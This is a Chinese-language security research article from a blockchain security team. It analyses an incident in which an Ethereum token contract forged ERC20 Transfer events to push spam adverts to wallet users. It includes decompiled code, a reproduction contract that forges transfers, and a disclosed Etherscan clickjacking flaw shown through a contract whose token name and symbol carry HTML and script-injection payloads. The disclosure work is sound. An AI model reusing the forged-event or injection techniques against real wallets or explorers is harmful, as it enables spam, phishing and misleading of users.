作者:知道創宇404區塊鏈安全研究團隊
時間:2018/09/13
English version:http://www.bjnorthway.com/709/

一、背景

2018年9月7日早上1點左右,許多以太坊錢包賬戶都收到了一種名為blockwell.ai KYC Casper Token代幣轉進/出賬消息:

令人奇怪的是這些賬號均表示之前對這個Token的“一無所知”,當這些收到消息用戶并沒有真正收到提示的那100個代幣,而那些提示有100代幣轉出的用戶在之前也并沒有擁有過這種代幣,這一切都顯得“莫名其妙”!更加讓一部分人奇怪和擔心的是,這些“轉進/出賬”的操作,都不需要錢包擁有者的的任何密碼私鑰輸入,于是很多不明真相的用戶擔心自己的錢包是不是被人惡意攻擊 ...

二、事件跟蹤

首先我們從blockwell.ai KYC Casper Token

https://etherscan.io/token/0x212d95fccdf0366343350f486bda1ceafc0c2d63

交易頁面,看到的交易記錄都是轉出100代幣的記錄,沒有任何轉入記錄。

再看看實際轉賬到賬戶的交易信息

https://etherscan.io/token/0x212d95fccdf0366343350f486bda1ceafc0c2d63?a=0xa3fe2b9c37e5865371e7d64482a3e1a347d03acd

可以看到通過調用這個合約,發起了一筆代幣轉賬,在event logs里可以看到實際的交易

然后具體的交易地址為

https://etherscan.io/tx/0x3230f7326ab739d9055e86778a2fbb9af2591ca44467e40f7cd2c7ba2d7e5d35

整筆交易花費了244w的gas,價值2.28美元,有針對的從500個用戶轉賬給了500個用戶。

繼續跟蹤到轉賬的from地址:

https://etherscan.io/address/0xeb7a58d6938ed813f04f36a4ea51ebb5854fa545#tokentxns

正如文章開頭提到的那樣:所有的來源賬戶本身都是不持有這種代幣的,跟蹤一下也可以發現,無論是發起交易者還是接受交易者,都沒有發生實際代幣的變化。

但是這些交易記錄確實被保存在鏈上,那么這個事件的核心問題就在于:“這些記錄是怎么被產生并記錄的?”

三、事件原理

我們從合約分析入手

https://etherscan.io/address/0x212d95fccdf0366343350f486bda1ceafc0c2d63#code

不出所料,這種事件型的合約代碼并不會直接給你開放源代碼,通過利用我們404自主研發的智能合約OPCODE逆向工具,反編譯后得到如下代碼:

源碼如下

contract 0x212D95FcCdF0366343350f486bda1ceAfC0C2d63 {

    mapping(address => uint256) balances;
    uint256 public totalSupply;
    mapping (address => mapping (address => uint256)) allowance;
    address public owner;
    string public name;
    string public symbol;
    uint8 public decimals;

    event Approval(address indexed _owner, address indexed _spender, uint256 _value);
    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event OwnershipRenounced(address indexed previousOwner);
    event TransferOwnership(address indexed old, address indexed new);

    function approve(address _spender, uint256 _value) public returns (bool success) {        
        allowance[msg.sender][_spender] = _value;        
        Approval(msg.sender, _spender, _value);        
        return true;    
    }  

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
        // 0x841
        require(to != address(0));   
        require(balances[_from] >= _value);
        require(allowance[_from][msg.sender] >= _value);
        balances[_from] = balances[_from].sub(_value);
        balances[_to] = balances[_to].add(_value);
        allowance[_from][msg.sender] =  allowance[_from][msg.sender].sub(_value); 
        Transfer(_from, _to, _value);
        return true;
    }

    function decreaseApproval(address _spender, uint256 _subtractedValue) {
        // 0xc0e
        uint oldValue = allowance[msg.sender][_spender];
        if (_subtractedValue > oldValue) {      
            allowance[msg.sender][_spender] = 0;    
        } else {
            allowance[msg.sender][_spender] = oldValue.sub(_subtractedValue);    
        }    
        Approval(msg.sender, _spender, allowance[msg.sender][_spender]);    
        return true;  
    }

    function balanceOf(address _owner) constant returns (uint256 balance) {       
        // 0xe9f 
        return balances[_owner];    
    }    

    function renounceOwnership() {
        // 0xee7
        require(owner == msg.sender);
        emit OwnershipRenounced(owner);
        owner = address(0);
    }

    function x_975ef7df(address[] arg0, address[] arg1, uint256 arg2) {
        require(owner == msg.sender);
        require(arg0.length > 0, "Address arrays must not be empty");
        require(arg0.length == arg1.length, "Address arrays must be of equal length");
        for (i=0; i < arg0.length; i++) {
            emit Transfer(arg0[i], arg1[i], arg2);
        }
    }

    function transfer(address arg0,uint256 arg1) {
        require(arg0 != address(0x0));
        require(balances[msg.sender] > arg1);
        balances[mag.sender] = balances[msg.sender].sub(arg1);
        balances[arg0] = balances[arg0].add(arg1);
        emit Transfer(msg.sender, arg0, arg1)
        return arg1
    }

    function increaseApproval(address arg0,uint256 arg1) {
        allowance[msg.sender][arg0] = allowance[msg.sender][arg0].add(arg1)
        emit Approval(msg.sender, arg0, arg1)
        return true;
    }

    function transferOwnership(address arg0) {
        require(owner == arg0);
        require(arg0 != adress(0x0));
        emit TransferOwnership(owner, arg0);
        owner = arg0;
    }
}

從代碼中可以很明顯的看到一個特殊的函數x_975ef7df,這是唯一一個涉及到數組操作,且會觸發Tranfser事件的函數。

    function x_975ef7df(address[] arg0, address[] arg1, uint256 arg2) {
        require(owner == msg.sender);
        require(arg0.length > 0, "Address arrays must not be empty");
        require(arg0.length == arg1.length, "Address arrays must be of equal length");
        for (i=0; i < arg0.length; i++) {
            emit Transfer(arg0[i], arg1[i], arg2);
        }
    }

從代碼中可以很清晰的看到, 在對地址列表的循環中,只觸發了Transfer事件,沒有任何其余的操作。

我們知道遵守以太坊ERC20標準的合約代幣才會被承認為ERC20代幣,ERC20代幣會直接被交易所承認。而 在ERC20標準中規定,transfer函數必須觸發Transfer事件,事件會被記錄在event log中,是不是說明平臺和交易所在獲取ERC20代幣交易信息,是通過event log事件獲取的呢?我們來測試一下。

四、事件復現

首先我們需要編寫一個簡單的ERC20標準的代幣合約

contract MyTest {

    mapping(address => uint256) balances;
    uint256 public totalSupply;
    mapping (address => mapping (address => uint256)) allowance;
    address public owner;
    string public name;
    string public symbol;
    uint8 public decimals = 18;

    event Transfer(address indexed _from, address indexed _to, uint256 _value);

    function MyTest() {
        name = "we are ruan mei bi";
        symbol = "RMB";
        totalSupply = 100000000000000000000000000000000000;
    }

    function mylog(address arg0, address arg1, uint256 arg2) public {
        Transfer(arg0, arg1, arg2);
    }

}

合約代幣需要規定好代幣的名稱等信息,然后我們定義一個mylog函數。

這里我們通過remix進行部署(由于需要交易所獲得提示信息,所以我們需要部署在公鏈上)

測試合約地址

https://etherscan.io/address/0xd69381aec4efd9599cfce1dc85d1dee9a28bfda2

注:這里需要強調的是:轉出/入賬的地址都是可以自定義的,這也就是為什么所有的來源賬戶本身都是不持有這種代幣的原因。

然后直接發起交易

然后我們的imtoken提示了消息,注意收到的消息了包含了我們的代碼里 symbol = "RMB";的值rmb

回看余額可以發現沒有實際轉賬誕生。

五、事件目的

通過上面分析及測試,我們發現整個事件最后只說了一件事情就是偽照了大量的虛假交易記錄,并沒有其他“實質”性的惡意操作,那么這個事件的目的是什么呢?

我們回顧下整個事件的流程:

創建一個token ---> 偽造交易記錄 ---> 錢包或交易平臺獲取交易記錄 ---> 推送給用戶

如果能找到自定義的消息,那么這是一條完美的消息推廣鏈!這個事件的始作俑者非常聰明的利用了token名這個自定義輸入點:blockwell.ai KYC Casper Token,blockwell.ai這個就是本次事件的主要目的,牛皮癬小廣告推廣這個網站。

看你有的人會說如果只是用來做廣告推廣的話,完全可以使用代幣的真實轉賬記錄來推廣,而不是利用偽造交易記錄。這里需要提醒大家的是“廣告費”的問題,這個“廣告費”也就是合約操作里的gas消耗,偽造交易記錄只需要Transfer操作的gas可以大大節省這個“廣告費”,本次事件整個過程的話費的“廣告費”約2.28美元的gas,就實現了對1000個用戶有針對的推送了精準廣告。

六、總結

結合以往的各種事件,相比于區塊鏈的各種有限應用場景里,在“惡意”攻擊或者利用的層面,攻擊者們表現出了驚人的“創意”,本次事件利用了”交易所/平臺卻盲目信任符合ERC20標準的合約“的特點,使用了以太坊平臺本身實現的“bug”,利用了最少的“廣告費”實現了精準的用戶廣告推送。

另外一個值得我們去關注的點就是被用來做消息推送的點是可以自定義的,那么可能導致的風險是非常值得思考的:比如推送釣魚網站信息,推送其他非法類型的小廣告及言論,會導致錢包等平臺應用方的用戶的其他不可以預期的風險!我們也提醒各大錢包、交易所等平臺警惕此類風險,必要時針對這些可自定義點進行相關識別及過濾。

9月20日更新:一個有趣的點擊劫持漏洞

在復現上述漏洞的過程中,我們發現了一個有趣的漏洞,在上述合約代幣用于做小廣告的區域,是很少的一塊我們可控的智能合約屬性。

那么假設合約展示平臺如etherscan等,沒有對這里做合理的處理,是不是可能會存在xss等漏洞呢。

經過測試我們發現Etherscan就存在這樣的點擊劫持漏洞

首先我們先部署以下代碼

pragma solidity ^0.4.24;

contract MyTest {

    mapping(address => uint256) balances;

    uint256 public totalSupply;

    mapping (address => mapping (address => uint256)) allowance;

    address public owner;

    string public name;

    string public symbol;

    uint8 public decimals = 18;

    event Transfer(address indexed _from, address indexed _to, uint256 _value);

    function MyTest() {

        name = "<a href=http://baidu.com>12321</a>";

        symbol = 'ok<img src=/ onerror=alert(1)> ';

        totalSupply = 100000000000000000000000000000000000;

    }

    function mylog(address arg0, address arg1, uint256 arg2) public {

        Transfer(arg0, arg1, arg2);

    }

}

部署后我們我們用合約發起一次交易

然后查看etherscan的頁面,在非常重要的進入查看合約信息的地方,成功被設置為其他地址的a標簽

當開發者或者用戶想要查看合約信息的時候,點擊按鈕就會跳轉到其他地方做進一步利用。

這是一個潛力很大的點擊劫持漏洞,攻擊者完全可以用這種方式來誘導開發者或用戶到錯誤的合約,甚至偽造的etherscan導致更大的危害。

該漏洞目前已上報etherscan官方并修復。


智能合約審計服務

針對目前主流的以太坊應用,知道創宇提供專業權威的智能合約審計服務,規避因合約安全問題導致的財產損失,為各類以太坊應用安全保駕護航。

知道創宇404智能合約安全審計團隊: https://www.scanv.com/lca/index.html
聯系電話:(086) 136 8133 5016(沈經理,工作日:10:00-18:00)

歡迎掃碼咨詢:

區塊鏈行業安全解決方案

黑客通過DDoS攻擊、CC攻擊、系統漏洞、代碼漏洞、業務流程漏洞、API-Key漏洞等進行攻擊和入侵,給區塊鏈項目的管理運營團隊及用戶造成巨大的經濟損失。知道創宇十余年安全經驗,憑借多重防護+云端大數據技術,為區塊鏈應用提供專屬安全解決方案。

歡迎掃碼咨詢:



Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/700/